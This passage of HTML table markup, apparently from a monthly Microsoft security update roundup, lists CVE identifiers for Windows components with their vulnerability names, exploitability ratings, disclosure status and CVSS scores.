Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50458">CVE-2026-50458</a></td><td><p>Microsoft Brokering File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50329">CVE-2026-50329</a></td><td><p>Microsoft DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58541">CVE-2026-58541</a></td><td><p>Microsoft DWM Core Library Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50343">CVE-2026-50343</a></td><td><p>Microsoft Install Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54992">CVE-2026-54992</a></td><td><p>Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50439">CVE-2026-50439</a></td><td><p>Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58537">CVE-2026-58537</a></td><td><p>Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42900">CVE-2026-42900</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49784">CVE-2026-49784</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50356">CVE-2026-50356</a></td><td><p>Microsoft Windows App Store Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49165">CVE-2026-49165</a></td><td><p>Microsoft Windows App Store Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54993">CVE-2026-54993</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58610">CVE-2026-58610</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50655">CVE-2026-50655</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56189">CVE-2026-56189</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57090">CVE-2026-57090</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57094">CVE-2026-57094</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57087">CVE-2026-57087</a></td><td><p>Microsoft Windows Media Foundation Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57092">CVE-2026-57092</a></td><td><p>Microsoft Windows VMSwitch Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50359">CVE-2026-50359</a></td><td><p>Microsoft XML Core Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57097">CVE-2026-57097</a></td><td><p>Microsoft XML Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50346">CVE-2026-50346</a></td><td><p>Netlogon RPC Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50402">CVE-2026-50402</a></td><td><p>NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54989">CVE-2026-54989</a></td><td><p>Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50365">CVE-2026-50365</a></td><td><p>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54990">CVE-2026-54990</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50474">CVE-2026-50474</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58594">CVE-2026-58594</a></td><td><p>Remote Desktop Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56190">CVE-2026-56190</a></td><td><p>Remote Desktop Protocol Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49783">CVE-2026-49783</a></td><td><p>Secure Boot Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42990">CVE-2026-42990</a></td><td><p>SQL Server ODBC driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49168">CVE-2026-49168</a></td><td><p>Storage Spaces Direct Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49180">CVE-2026-49180</a></td><td><p>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50455">CVE-2026-50455</a></td><td><p>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54111">CVE-2026-54111</a></td><td><p>Universal Print Management Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58543">CVE-2026-58543</a></td><td><p>Universal Print Management Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58601">CVE-2026-58601</a></td><td><p>Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49805">CVE-2026-49805</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50297">CVE-2026-50297</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50325">CVE-2026-50325</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50489">CVE-2026-50489</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57095">CVE-2026-57095</a></td><td><p>Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50416">CVE-2026-50416</a></td><td><p>Win32k Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>3.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56184">CVE-2026-56184</a></td><td><p>Win32k Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr></tbody></table><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50432"><br>CVE-2026-50432</a></td><td><p>Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54119">CVE-2026-54119</a></td><td><p>Windows Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57976">CVE-2026-57976</a></td><td><p>Windows Active Directory Domain Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50366">CVE-2026-50366</a></td><td><p>Windows Active Directory Domain Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49164">CVE-2026-49164</a></td><td><p>Windows Active Directory Domain Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49178">CVE-2026-49178</a></td><td><p>Windows Active Directory Domain Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58529">CVE-2026-58529</a></td><td><p>Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54983">CVE-2026-54983</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50695">CVE-2026-50695</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50304">CVE-2026-50304</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50368">CVE-2026-50368</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50324">CVE-2026-50324</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50355">CVE-2026-50355</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50411">CVE-2026-50411</a></td><td><p>Windows Active Directory Federation Services Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58631">CVE-2026-58631</a></td><td><p>Windows Admin Center (WAC) Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56196">CVE-2026-56196</a></td><td><p>Windows Admin Center (WAC) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56197">CVE-2026-56197</a></td><td><p>Windows Admin Center (WAC) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56169">CVE-2026-56169</a></td><td><p>Windows Admin Center Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57107">CVE-2026-57107</a></td><td><p>Windows Admin Center Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56185">CVE-2026-56185</a></td><td><p>Windows Admin Center Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50312">CVE-2026-50312</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50462">CVE-2026-50462</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57093">CVE-2026-57093</a></td><td><p>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34346">CVE-2026-34346</a></td><td><p>Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48572">CVE-2026-48572</a></td><td><p>Windows App Package Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48571">CVE-2026-48571</a></td><td><p>Windows App Package Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50400">CVE-2026-50400</a></td><td><p>Windows App Package Installer Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50331">CVE-2026-50331</a></td><td><p>Windows Application Model Core API Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49803">CVE-2026-49803</a></td><td><p>Windows AppX Deployment Extensions Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50351">CVE-2026-50351</a></td><td><p>Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50440">CVE-2026-50440</a></td><td><p>Windows Audio Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34328">CVE-2026-34328</a></td><td><p>Windows Audio Service Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50406">CVE-2026-50406</a></td><td><p>Windows Backup Engine Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50364">CVE-2026-50364</a></td><td><p>Windows Backup Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50661">CVE-2026-50661</a></td><td><p>Windows BitLocker Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>Yes</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42975">CVE-2026-42975</a></td><td><p>Windows Bluetooth Port Driver Remote Code Execution</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58538">CVE-2026-58538</a></td><td><p>Windows Bluetooth Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58638">CVE-2026-58638</a></td><td><p>Windows Boot Loader Security Feature Bypass Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>6.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58637">CVE-2026-58637</a></td><td><p>Windows Client-Side Caching Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50384">CVE-2026-50384</a></td><td><p>Windows Clip Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49183">CVE-2026-49183</a></td><td><p>Windows Clipboard Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50689">CVE-2026-50689</a></td><td><p>Windows Clipboard Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50374">CVE-2026-50374</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58536">CVE-2026-58536</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58613">CVE-2026-58613</a></td><td><p>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50401">CVE-2026-50401</a></td><td><p>Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50697">CVE-2026-50697</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50667">CVE-2026-50667</a></td><td><p>Windows Common Log File System Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50421">CVE-2026-50421</a></td><td><p>Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50428">CVE-2026-50428</a></td><td><p>Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50352">CVE-2026-50352</a></td><td><p>Windows Cryptographic Services Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50302">CVE-2026-50302</a></td><td><p>Windows Cryptographic Services Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>4.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55144">CVE-2026-55144</a></td><td><p>Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50347">CVE-2026-50347</a></td><td><p>Windows Data.dll Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49181">CVE-2026-49181</a></td><td><p>Windows DHCP Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50683">CVE-2026-50683</a></td><td><p>Windows DHCP Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54128">CVE-2026-54128</a></td><td><p>Windows DHCP Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58627">CVE-2026-58627</a></td><td><p>Windows DHCP Server Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50518">CVE-2026-50518</a></td><td><p>Windows DHCP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50685">CVE-2026-50685</a></td><td><p>Windows DHCP Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49807">CVE-2026-49807</a></td><td><p>Windows DirectX Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49175">CVE-2026-49175</a></td><td><p>Windows DNS Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50487">CVE-2026-50487</a></td><td><p>Windows DNS Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50465">CVE-2026-50465</a></td><td><p>Windows DNS Client Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49169">CVE-2026-49169</a></td><td><p>Windows DNS Server Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a 